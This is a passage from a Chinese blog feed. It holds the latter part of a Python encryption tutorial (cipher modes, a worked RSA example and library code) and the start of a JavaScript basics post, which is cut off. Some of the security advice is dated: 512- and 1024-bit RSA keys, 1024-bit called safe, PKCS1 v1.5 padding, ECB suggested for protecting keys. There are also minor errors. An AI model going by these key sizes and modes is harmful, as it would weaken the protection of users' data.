punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token keyword">print</span><span class="token punctuation">(</span>decrytext<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></code></pre><h5 id="ECB模式">ECB模式</h5><p>ECB模式（电子密码本模式：Electronic codebook）</p><p>ECB是最简单的块密码加密模式，加密前根据加密块大小（如AES为128位）分成若干块，之后将每块使用相同的密钥单独加密，解密同理。</p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/3.jpg" alt=""></p><p><strong>优缺点</strong></p><p>ECB模式作为一种基本工作模式，具有操作简单，易于实现的特点。同时由于其分组的独立性，利于实现并行处理，并且能很好地防止误差传播。</p><p>另一方面由于所有分组的加密方式一致，明文中的重复内容会在密文中有所体现，因此难以抵抗统计分析攻击。</p><p>因此，ECB模式一般只适用于小数据量的字符信息的安全性保护，例如密钥保护。</p><h5 id="CBC模式">CBC模式</h5><p>CBC模式（密码分组链接：Cipher-block chaining）</p><p>CBC模式对于每个待加密的密码块在加密前会先与前一个密码块的密文异或然后再用加密器加密。第一个明文块与一个叫初始化向量的数据块异或。</p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/4.png" alt=""></p><h5 id="计算器模式">计算器模式</h5><p>计算器模式（Counter (CTR)）</p><p>计算器模式不常见，在CTR模式中，<br>有一个自增的算子，这个算子用密钥加密之后的输出和明文异或的结果得到密文，相当于一次一密。这种加密方式简单快速，安全可靠，而且可以并行加密，但是在计算器不能维持很长的情况下，密钥只能使用一次。CTR的示意图如下所示：</p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/5.png" alt=""></p><h5 id="密码反馈模式">密码反馈模式</h5><p>密码反馈模式（Cipher FeedBack (CFB)）</p><p>与ECB和CBC模式只能够加密块数据不同，CFB能够将块密文（Block Cipher）转换为流密文（Stream Cipher）。</p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/6.png" alt=""></p><p>注意:CFB、OFB和CTR模式中解密也都是用的加密器而非解密器。<br>CFB的加密工作分为两部分：</p><p>将一前段加密得到的密文再加密；<br>将第1步加密得到的数据与当前段的明文异或。<br>由于加密流程和解密流程中被块加密器加密的数据是前一段密文，因此即使明文数据的长度不是加密块大小的整数倍也是不需要填充的，这保证了数据长度在加密前后是相同的。</p><h4 id="5、RSA">5、RSA</h4><p>使用之前需要安装 rsa 模块</p><pre class="language-none"><code class="language-none">pip install rsa</code></pre><h5 id="应用场景">应用场景</h5><p>在公开密钥加密和电子商业中RSA被广泛使用。</p><p>该算法基于一个十分简单的数论事实：将两个大素数相乘十分容易，但那时想要对其乘积进行因式分解却极其困难，因此可以将乘积公开作为加密密钥，即公钥，而两个大素数组合成私钥。公钥是可发布的供任何人使用，私钥则为自己所有，供解密之用</p><h5 id="非对称加密算法">非对称加密算法</h5><p>1、乙方生成两把密钥（公钥和私钥）。公钥是公开的，任何人都可以获得，私钥则是保密的。</p><p>2、甲方获取乙方的公钥，然后用它对信息加密。</p><p>3、乙方得到加密后的信息，用私钥解密。</p><h5 id="RSA算法">RSA算法</h5><p>1977年，三位数学家Rivest、Shamir 和 Adleman 设计了一种算法，可以实现非对称加密。这种算法用他们三个人的名字命名，叫做RSA算法。从那时直到现在，RSA算法一直是最广为使用的&quot;非对称加密算法&quot;。毫不夸张地说，只要有计算机网络的地方，就有RSA算法。</p><p>这种算法非常可靠，密钥越长，它就越难破解。根据已经披露的文献，目前被破解的最长RSA密钥是768个二进制位。也就是说，长度超过768位的密钥，还无法破解（至少没人公开宣布）。因此可以认为，1024位的RSA密钥基本安全，2048位的密钥极其安全。</p><h5 id="数学基础">数学基础</h5><p><strong>互质关系</strong></p><p>如果两个正整数，除了1以外，没有其他公因子，我们就称这两个数是互质关系（coprime）。比如，15和32没有公因子，所以它们是互质关系。这说明，不是质数也可以构成互质关系。</p><p>关于互质关系，不难得到以下结论：</p><ol><li><p>任意两个质数构成互质关系，比如13和61。</p></li><li><p>一个数是质数，另一个数只要不是前者的倍数，两者就构成互质关系，比如3和10。</p></li><li><p>如果两个数之中，较大的那个数是质数，则两者构成互质关系，比如97和57。</p></li><li><p>1和任意一个自然数是都是互质关系，比如1和99。</p></li><li><p>p是大于1的整数，则p和p-1构成互质关系，比如57和56。</p></li><li><p>p是大于1的奇数，则p和p-2构成互质关系，比如17和15。</p></li></ol><p><strong>欧拉函数</strong></p><p>请思考以下问题：</p><p>任意给定正整数n，请问在小于等于n的正整数之中，有多少个与n构成互质关系？（比如，在1到8之中，有多少个数与8构成互质关系？）</p><p>计算这个值的方法就叫做欧拉函数，以φ(n)表示。在1到8之中，与8形成互质关系的是1、3、5、7，所以 φ(n) = 4。</p><p>φ(n) 的计算方法并不复杂，但是为了得到最后那个公式，需要一步步讨论。</p><h5 id="密钥生成">密钥生成</h5><p>我们通过一个例子，来理解RSA算法。假设爱丽丝要与鲍勃进行加密通信，她该怎么生成公钥和私钥呢？</p><p><img src="https://img.alexation.cn/blog/post/python/encrypt/7.png" alt=""></p><ul><li>第一步，随机选择两个不相等的质数p和q。</li></ul><p>爱丽丝选择了61和53。（实际应用中，这两个质数越大，就越难破解。）</p><ul><li>第二步，计算p和q的乘积n。</li></ul><p>爱丽丝就把61和53相乘。</p><p>n = 61×53 = 3233</p><p>n的长度就是密钥长度。3233写成二进制是110010100001，一共有12位，所以这个密钥就是12位。实际应用中，RSA密钥一般是1024位，重要场合则为2048位。</p><ul><li>第三步，计算n的欧拉函数φ(n)。</li></ul><p>根据公式：</p><p>φ(n) = (p-1)(q-1)</p><p>爱丽丝算出φ(3233)等于60×52，即3120。</p><ul><li>第四步，随机选择一个整数e，条件是1&lt; e &lt; φ(n)，且e与φ(n) 互质。</li></ul><p>爱丽丝就在1到3120之间，随机选择了17。（实际应用中，常常选择65537。）</p><ul><li>第五步，计算e对于φ(n)的模反元素d。</li></ul><p>所谓&quot;模反元素&quot;就是指有一个整数d，可以使得ed被φ(n)除的余数为1。</p><p>ed ≡ 1 (mod φ(n))</p><p>这个式子等价于</p><p>ed - 1 = kφ(n) (k∈Z)</p><p>于是，找到模反元素d，实质上就是对下面这个二元一次方程求解。</p><p>ex + φ(n)y = 1</p><p>已知 e=17, φ(n)=3120，</p><p>17x + 3120y = 1</p><p>这个方程可以用&quot;扩展欧几里得算法&quot;求解，此处省略具体过程。总之，爱丽丝算出一组整数解为 (x,y)=(2753,-15)，即 d=2753。</p><p>至此所有计算完成。</p><ul><li>第六步，将n和e封装成公钥，n和d封装成私钥。</li></ul><p>在爱丽丝的例子中，n=3233，e=17，d=2753，所以公钥就是 (3233,17)，私钥就是（3233, 2753）。</p><ul><li>总结，实际上就是计算n,e,d的过程</li></ul><p>pq的作用用于求n==pq，再用 (p-1)(q-1)求φ(n)，在φ(n)范围内随机选择即为e，d==e对于φ(n)的模反元素</p><h5 id="代码案例">代码案例</h5><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> rsa  <span class="token comment"># rsa加密</span><span class="token keyword">def</span> <span class="token function">rsaEncrypt</span><span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># 生成公钥、私钥</span>    <span class="token punctuation">(</span>pubkey<span class="token punctuation">,</span> privkey<span class="token punctuation">)</span> <span class="token operator">=</span> rsa<span class="token punctuation">.</span>newkeys<span class="token punctuation">(</span><span class="token number">512</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"pub: "</span><span class="token punctuation">,</span> pubkey<span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"priv: "</span><span class="token punctuation">,</span> privkey<span class="token punctuation">)</span>    <span class="token comment"># 明文编码格式</span>    content <span class="token operator">=</span> <span class="token builtin">str</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span>    <span class="token comment"># 公钥加密</span>    crypto <span class="token operator">=</span> rsa<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>content<span class="token punctuation">,</span> pubkey<span class="token punctuation">)</span>    <span class="token keyword">return</span> <span class="token punctuation">(</span>crypto<span class="token punctuation">,</span> privkey<span class="token punctuation">)</span>  <span class="token comment"># rsa解密</span><span class="token keyword">def</span> <span class="token function">rsaDecrypt</span><span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">,</span> pk<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token comment"># 私钥解密</span>    content <span class="token operator">=</span> rsa<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">,</span> pk<span class="token punctuation">)</span>    con <span class="token operator">=</span> content<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span>    <span class="token keyword">return</span> con  a<span class="token punctuation">,</span> b <span class="token operator">=</span> rsaEncrypt<span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'加密后密文：'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span>content <span class="token operator">=</span> rsaDecrypt<span class="token punctuation">(</span>a<span class="token punctuation">,</span> b<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'解密后明文：'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>content<span class="token punctuation">)</span>  </code></pre><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> rsa<span class="token keyword">import</span> binascii <span class="token keyword">def</span> <span class="token function">rsa_encrypt</span><span class="token punctuation">(</span>rsa_n<span class="token punctuation">,</span> rsa_e<span class="token punctuation">,</span> message<span class="token punctuation">)</span><span class="token punctuation">:</span>    key <span class="token operator">=</span> rsa<span class="token punctuation">.</span>PublicKey<span class="token punctuation">(</span>rsa_n<span class="token punctuation">,</span> rsa_e<span class="token punctuation">)</span>    message <span class="token operator">=</span> rsa<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>message<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> key<span class="token punctuation">)</span>    message <span class="token operator">=</span> binascii<span class="token punctuation">.</span>b2a_hex<span class="token punctuation">(</span>message<span class="token punctuation">)</span>    <span class="token keyword">return</span> message<span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token punctuation">)</span>  pubkey_n <span class="token operator">=</span> <span class="token string">'8d7e6949d411ce14d7d233d7160f5b2cc753930caba4d5ad24f923a505253b9c39b09a059732250e56c594d735077cfcb0c3508e9f544f101bdf7e97fe1b0d97f273468264b8b24caaa2a90cd9708a417c51cf8ba35444d37c514a0490441a773ccb121034f29748763c6c4f76eb0303559c57071fd89234d140c8bb965f9725'</span>pubkey_e <span class="token operator">=</span> <span class="token string">'10001'</span>rsa_n <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>pubkey_n<span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span>rsa_e <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>pubkey_e<span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span>message <span class="token operator">=</span> <span class="token string">'南北今天很忙'</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"公钥n值长度："</span><span class="token punctuation">,</span> <span class="token builtin">len</span><span class="token punctuation">(</span>pubkey_n<span class="token punctuation">)</span><span class="token punctuation">)</span> aa <span class="token operator">=</span> rsa_encrypt<span class="token punctuation">(</span>rsa_n<span class="token punctuation">,</span> rsa_e<span class="token punctuation">,</span> message<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>aa<span class="token punctuation">)</span></code></pre><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> Cryptodome<span class="token punctuation">.</span>PublicKey <span class="token keyword">import</span> RSA<span class="token keyword">from</span> Cryptodome<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> PKCS1_OAEP<span class="token punctuation">,</span> PKCS1_v1_5<span class="token keyword">class</span> <span class="token class-name">MyRSA</span><span class="token punctuation">:</span>    <span class="token keyword">def</span> <span class="token function">create_rsa_key</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> password<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token triple-quoted-string string">"""        创建RSA密钥        步骤说明：        1、从 Crypto.PublicKey 包中导入 RSA，创建一个密码        2、生成 1024/2048 位的 RSA 密钥        3、调用 RSA 密钥实例的 exportKey 方法，传入密码、使用的 PKCS 标准以及加密方案这三个参数。        4、将私钥写入磁盘的文件。        5、使用方法链调用 publickey 和 exportKey 方法生成公钥，写入磁盘上的文件。        """</span>        key <span class="token operator">=</span> RSA<span class="token punctuation">.</span>generate<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span>        encrypted_key <span class="token operator">=</span> key<span class="token punctuation">.</span>exportKey<span class="token punctuation">(</span>passphrase<span class="token operator">=</span>password<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> pkcs<span class="token operator">=</span><span class="token number">8</span><span class="token punctuation">,</span>                                      protection<span class="token operator">=</span><span class="token string">"scryptAndAES128-CBC"</span><span class="token punctuation">)</span>        <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"my_private_rsa_key.bin"</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>            f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>encrypted_key<span class="token punctuation">)</span>        <span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"my_rsa_public.pem"</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span>            f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>key<span class="token punctuation">.</span>publickey<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>exportKey<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">def</span> <span class="token function">encrypt</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> plaintext<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token comment"># 加载公钥</span>        recipient_key <span class="token operator">=</span> RSA<span class="token punctuation">.</span>import_key<span class="token punctuation">(</span>            <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"my_rsa_public.pem"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token punctuation">)</span>        cipher_rsa <span class="token operator">=</span> PKCS1_v1_5<span class="token punctuation">.</span>new<span class="token punctuation">(</span>recipient_key<span class="token punctuation">)</span>        en_data <span class="token operator">=</span> cipher_rsa<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>plaintext<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> en_data        <span class="token comment"># print(len(en_data), en_data)</span>    <span class="token keyword">def</span> <span class="token function">decrypt</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> en_data<span class="token punctuation">,</span> password<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token comment"># 读取密钥</span>        private_key <span class="token operator">=</span> RSA<span class="token punctuation">.</span>import_key<span class="token punctuation">(</span>            <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"my_private_rsa_key.bin"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>            passphrase<span class="token operator">=</span>password        <span class="token punctuation">)</span>        cipher_rsa <span class="token operator">=</span> PKCS1_v1_5<span class="token punctuation">.</span>new<span class="token punctuation">(</span>private_key<span class="token punctuation">)</span>        data <span class="token operator">=</span> cipher_rsa<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>en_data<span class="token punctuation">,</span> <span class="token boolean">None</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> data        <span class="token comment"># print(data)</span>mrsa <span class="token operator">=</span> MyRSA<span class="token punctuation">(</span><span class="token punctuation">)</span>mrsa<span class="token punctuation">.</span>create_rsa_key<span class="token punctuation">(</span><span class="token string">'123456'</span><span class="token punctuation">)</span>e <span class="token operator">=</span> mrsa<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span><span class="token string">'hello'</span><span class="token punctuation">)</span>d <span class="token operator">=</span> mrsa<span class="token punctuation">.</span>decrypt<span class="token punctuation">(</span>e<span class="token punctuation">,</span> <span class="token string">'123456'</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span></code></pre><h2 id="附录：">@附录：</h2><p>非对称加密<br><a href="https://www.bilibili.com/video/BV1Ts411H7u9?from=search&amp;seid=2602407138388579895">https://www.bilibili.com/video/BV1Ts411H7u9?from=search&amp;seid=2602407138388579895</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 style=&quot;text-align:center;font-family:FZZhiYi-M12S;font-weight:700;&quot;&gt;常见加密方式&lt;/h1&gt;
&lt;h3 id=&quot;前言&quot;&gt;前言&lt;/h3&gt;
&lt;p&gt;我们所说的加密方式，都是对二进制编码的格式进行加密的，对应到Pyt</summary>
      
    
    
    
    <category term="算法" scheme="https://blog.alexation.cn/categories/%E7%AE%97%E6%B3%95/"/>
    
    
    <category term="Python" scheme="https://blog.alexation.cn/tags/Python/"/>
    
    <category term="加密算法" scheme="https://blog.alexation.cn/tags/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/"/>
    
  </entry>
  
  <entry>
    <title>JavaScript介绍</title>
    <link href="https://blog.alexation.cn/frontend/basic/"/>
    <id>https://blog.alexation.cn/frontend/basic/</id>
    <published>2022-01-25T00:57:33.000Z</published>
    <updated>2025-11-23T06:36:41.931Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">JavaScript介绍</h1><div class="tip info"><p>JavaScript和Java没关系！</p></div><p>在我学习计算机的相关知识时，最初认识JS是作为前端三件套，后续学习数据获取时接触到JS相关的加密算法、debugger以及各种常见的混淆等，包括各种常见的主流前端框架例如React、Vue等也是基于JS搭建起来的，那么JS的重要性显而易见。本文先对JS的概念以及常见的变量、数据类型、逻辑运算、函数、对象等进行了介绍，后对jQuery进行了简要说明。</p><h3 id="JavaScript-是什么">JavaScript 是什么</h3><ul><li><p>JavaScript 是世界上最流行的语言之一，是一种运行在客户端的脚本语言 （Script 是脚本的意思）</p></li><li><p>脚本语言：不需要编译，运行过程中由 js 解释器( js 引擎）逐行来进行解释并执行</p></li><li><p>现在也可以基于 Node.js 技术进行服务器端编程</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/1.png" alt=""></p></li></ul><h3 id="JS-的组成">JS 的组成</h3><p><img src="https://img.alexation.cn/blog/post/javascript/basic/2.png" alt=""></p><ol><li><h4 id="ECMAScript"><strong>ECMAScript</strong></h4><p>ECMAScript 是由ECMA 国际（ 原欧洲计算机制造商协会）进行标准化的一门编程语言，这种语言在万维网上应用广泛，它往往被称为 JavaScript或 JScript，但实际上后两者是 ECMAScript 语言的实现和扩展。</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/3.png" alt=""></p><p>ECMAScript：规定了JS的编程语法和基础核心知识，是所有浏览器厂商共同遵守的一套JS语法工业标准。</p><p>更多参看MDN: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/JavaScript_technologies_overview">MDN手册</a></p></li><li><h4 id="DOM——文档对象模型"><strong>DOM——文档对象模型</strong></h4><p><strong>文档对象模型</strong>（Document Object Model，简称DOM），是W3C组织推荐的处理可扩展标记语言的标准编程接口。通过 DOM 提供的接口可以对页面上的各种元素进行操作（大小、位置、颜色等）</p></li><li><h4 id="BOM——浏览器对象模型"><strong>BOM——浏览器对象模型</strong></h4><p><strong>浏览器对象模型</strong>(Browser Object Model，简称BOM) 是指浏览器对象模型，它提供了独立于内容的、可以与浏览器窗口进行互动的对象结构。通过BOM可以操作浏览器窗口，比如弹出框、控制浏览器跳转、获取分辨率等。</p></li></ol><h3 id="JS-初体验">JS 初体验</h3><p>JS 有3种书写位置，分别为行内、内嵌和外部。</p><ol><li><p>行内式</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>button<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>点我试试<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">onclick</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value javascript language-javascript"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'Hello World'</span><span class="token punctuation">)</span></span><span class="token punctuation">"</span></span></span> <span class="token punctuation">/></span></span></code></pre><ul><li>可以将单行或少量 JS 代码写在HTML标签的事件属性中（以 on 开头的属性），如：onclick</li><li>注意单双引号的使用：在HTML中我们推荐使用双引号, JS 中我们推荐使用单引号</li><li>可读性差， 在html中编写JS大量代码时，不方便阅读；</li><li>引号易错，引号多层嵌套匹配时，非常容易弄混；</li><li>特殊情况下使用</li></ul></li><li><p>内嵌式</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">    <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">'Hello  World~!'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre><ul><li>可以将多行JS代码写到 script 标签中</li><li>内嵌 JS 是学习时常用的方式</li></ul></li><li><p>外部JS文件</p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span> <span class="token attr-name">src</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my.js<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span></code></pre><ul><li>利于HTML页面代码结构化，把大段 JS代码独立到 HTML 页面之外，既美观，也方便文件级别的复用</li><li>引用外部 JS文件的 script 标签中间不可以写代码</li><li>适合于JS 代码量比较大的情况</li></ul></li></ol><h2 id="JS基本概念">JS基本概念</h2><h4 id="单行注释">单行注释</h4><p>为了提高代码的可读性，JS与CSS一样，也提供了注释功能。<br>JS中的注释主要有两种，分别是 单行注释 和 多行注释。</p><p>单行注释的注释方式如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 我是一行文字，不想被 JS引擎 执行，所以 注释起来</span></code></pre><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// 用来注释单行文字（  快捷键   ctrl  +  /   ）</span></code></pre><h4 id="多行注释">多行注释</h4><p>多行注释的注释方式如下：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">/*  获取用户年龄和姓名  并通过提示框显示出来*/</span></code></pre><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">/* 用来注释多行文字 */</span>  </code></pre><h3 id="输入输出语句">输入输出语句</h3><p>为了方便信息的输入输出，JS中提供了一些输入输出语句，其常用的语句如下：</p><table><thead><tr><th>方法</th><th>说明</th><th>归属</th></tr></thead><tbody><tr><td>alert(msg)</td><td>浏览器弹出警示框</td><td>浏览器</td></tr><tr><td>console.log(msg)</td><td>浏览器控制台打印输出信息</td><td>浏览器</td></tr><tr><td>prompt(info)</td><td>浏览器弹出输入框，用户可以输入</td><td>浏览器</td></tr></tbody></table><ul><li>注意：alert() 主要用来显示消息给用户，console.log() 用来给程序员自己看运行时的消息。</li></ul><h4 id="声明变量">声明变量</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">//  声明变量  </span><span class="token keyword">var</span> age<span class="token punctuation">;</span> <span class="token comment">//  声明一个 名称为age 的变量     </span></code></pre><ul><li><p>var 是一个 JS关键字，用来声明变量( variable 变量的意思 )。使用该关键字声明变量后，计算机会自动为变量分配内存空间，不需要程序员管</p></li><li><p>age 是程序员定义的变量名，我们要通过变量名来访问内存中分配的空间</p></li></ul><h4 id="赋值">赋值</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript">age <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// 给 age  这个变量赋值为 10          </span></code></pre><ul><li>= 用来把右边的值赋给左边的变量空间中   此处代表赋值的意思</li><li>变量值是程序员保存到变量空间里的值</li></ul><h4 id="变量的初始化">变量的初始化</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> age  <span class="token operator">=</span> <span class="token number">18</span><span class="token punctuation">;</span>  <span class="token comment">// 声明变量同时赋值为 18</span><span class="token comment">// 声明一个变量并赋值， 我们称之为变量的初始化。</span></code></pre><h3 id="数据类型">数据类型</h3><h4 id="数据类型简介">数据类型简介</h4><ul><li><p>为什么需要数据类型</p><p>在计算机中，不同的数据所需占用的存储空间是不同的，为了便于把数据分成所需内存大小不同的数据，充分利用存储空间，于是定义了不同的数据类型。</p><p>简单来说，数据类型就是数据的类别型号。比如姓名“张三”，年龄18，这些数据的类型是不一样的。</p></li><li><p>变量的数据类型</p><p>变量是用来存储值的所在处，它们有名字和数据类型。变量的数据类型决定了如何将代表这些值的位存储到计算机的内存中。JavaScript 是一种弱类型或者说动态语言。这意味着不用提前声明变量的类型，在程序运行过程中，类型会被自动确定：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> age <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span>        <span class="token comment">// 这是一个数字型</span><span class="token keyword">var</span> areYouOk <span class="token operator">=</span> <span class="token string">'是的'</span><span class="token punctuation">;</span>   <span class="token comment">// 这是一个字符串     </span></code></pre></li></ul><p>在代码运行时，变量的数据类型是由 JS引擎 根据 = 右边变量值的数据类型来判断 的，运行完毕之后， 变量就确定了数据类型。JavaScript 拥有动态类型，同时也意味着相同的变量可用作不同的类型：</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span>           <span class="token comment">// x 为数字</span><span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token string">"Bill"</span><span class="token punctuation">;</span>      <span class="token comment">// x 为字符串    </span></code></pre><ul><li><p>数据类型的分类</p><p>JS 把数据类型分为两类：</p><ul><li><p>简单数据类型 （Number,String,Boolean,Undefined,Null）</p></li><li><p>复杂数据类型 （object)</p></li></ul></li></ul><h4 id="简单数据类型">简单数据类型</h4><p>简单数据类型（基本数据类型）</p><p>JavaScript 中的简单数据类型及其说明如下：</p><p><img src="https://img.alexation.cn/blog/post/javascript/basic/4.png" alt=""></p><h5 id="数字型-Number">数字型 Number</h5><p>JavaScript 数字类型既可以保存整数，也可以保存小数(浮点数）。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> age <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">;</span>       <span class="token comment">// 整数</span><span class="token keyword">var</span> Age <span class="token operator">=</span> <span class="token number">21.3747</span><span class="token punctuation">;</span>  <span class="token comment">// 小数     </span></code></pre><ol><li><p>数字型进制</p><p>最常见的进制有二进制、八进制、十进制、十六进制。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"> <span class="token comment">// 1.八进制数字序列范围：0~7</span><span class="token keyword">var</span> num1 <span class="token operator">=</span> <span class="token number">07</span><span class="token punctuation">;</span>   <span class="token comment">// 对应十进制的7</span><span class="token keyword">var</span> num2 <span class="token operator">=</span> <span class="token number">019</span><span class="token punctuation">;</span>  <span class="token comment">// 对应十进制的19</span><span class="token keyword">var</span> num3 <span class="token operator">=</span> <span class="token number">08</span><span class="token punctuation">;</span>   <span class="token comment">// 对应十进制的8</span> <span class="token comment">// 2.十六进制数字序列范围：0~9以及A~F</span><span class="token keyword">var</span> num <span class="token operator">=</span> <span class="token number">0xA</span><span class="token punctuation">;</span>   </code></pre><p>现阶段我们只需要记住，在JS中八进制前面加0，十六进制前面加 0x</p></li><li><p>数字型三个特殊值</p><ul><li><p>Infinity ，代表无穷大，大于任何数值</p></li><li><p>-Infinity ，代表无穷小，小于任何数值</p></li><li><p>NaN ，Not a number，代表一个非数值</p></li></ul></li><li><p>isNaN</p><p>用来判断一个变量是否为非数字的类型，返回 true 或者 false</p></li></ol><p><img src="https://img.alexation.cn/blog/post/javascript/basic/5.png" alt=""></p>   <pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">var</span> usrAge <span class="token operator">=</span> <span class="token number">21</span><span class="token punctuation">;</span><span class="token keyword">var</span> isOk <span class="token operator">=</span> <span class="token function">isNaN</span><span class="token punctuation">(</span>userAge<span class="token punctuation">)</span><span class="token punctuation">;</span>console<span class="token punctuation">.</span><span 